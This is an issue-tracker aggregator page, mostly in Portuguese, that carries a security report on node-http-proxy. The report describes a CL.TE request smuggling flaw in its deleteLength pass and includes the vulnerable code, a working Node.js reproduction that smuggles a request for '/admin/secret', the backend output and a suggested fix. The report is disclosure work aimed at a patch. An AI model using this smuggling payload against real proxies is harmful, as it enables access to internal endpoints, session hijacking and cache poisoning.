Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057
Ninguém assumiu esta issue ainda.
Avaliação
- Dificuldade
- 3/5
- Tempo estimado
- 1-2 dias
- Facilidade para iniciantes
- 72/100
- Tipo de issue
- Bug
- Clareza
- Claramente especificada
- Status de atividade
- Ativa
- Stack de tecnologia
- javascript, node.js
- Domínio
- backend, networking, security
Direção de pesquisa
Comece por lib/http-proxy/passes/web-incoming.js e, em seguida, execute a reprodução de keep-alive fornecida para observar como a requisição DELETE e a requisição contrabandeada chegam ao backend. O trabalho estará concluído quando o proxy não criar mais o framing conflitante mostrado na issue, enquanto requisições DELETE e OPTIONS legítimas sem nenhum dos dois headers continuarem funcionando com segurança.
Escrita pelo modelo de indexação a partir do texto da issue.
Descrição
Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy - Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: closewhich prevents smuggling) - Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0when both headers absent
Reported by: @Black1hp
- Linguagem predominante
- JavaScript
- Estrelas
- 14.1k
- Forks
- 2k
- Métricas de merge de PRs
- Nenhum PR com merge em 30d
Preparar o ambiente
Este projeto não oferece contêiner de desenvolvimento, Dockerfile nem guia de contribuição, então a configuração fica por sua conta: comece pelo README e veja nosso guia da primeira contribuição para os passos gerais.
Primeiros passos
- Leia a issue inteira e depois o guia de contribuição do projeto.
- Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
- Faça um fork do repositório e trabalhe em uma branch.
- Abra um pull request que referencie o número da issue.
Mais de http-party/node-http-proxy
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 78/100
http-party/node-http-proxy#1719 ·
-
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 55/100
http-party/node-http-proxy#1715 · 1 comentário · 5 reações ·
-
Is this library is dead?Aberta
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 15/100
http-party/node-http-proxy#1711 · 2 comentários ·
-
HTTP3 + QUIC support?Aberta
Dificuldade 5/5 Mais de uma semana Facilidade para iniciantes 25/100
http-party/node-http-proxy#1710 · 5 reações ·
-
Dificuldade 4/5 3-5 dias Facilidade para iniciantes 25/100
http-party/node-http-proxy#1708 · 1 comentário ·
Todas as issues de http-party/node-http-proxy
Issues semelhantes
-
Add plone.svg to plone/iconsAberta
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 68/100
Mantenedores costumam responder em até 2 dias
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 72/100
ome/ngff-rfc8-revisions#50 ·
Mantenedores costumam responder em até 3 dias
-
Bug: Batcher binds the texture that opens a new batch twice (one draw call per element with maxBatchableTextures = 1)Talvez já em andamento @darzarzycki assumiu hoje. Aberta
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 77/100
Mantenedores costumam responder em até 2 dias
-
[Open Source] PixelboltAberta
Dificuldade 1/5 Menos de uma hora Facilidade para iniciantes 84/100
521xueweihan/HelloGitHub#4297 ·
-
Dificuldade 2/5 1-3 horas Facilidade para iniciantes 78/100
Mantenedores costumam responder em até 1 dia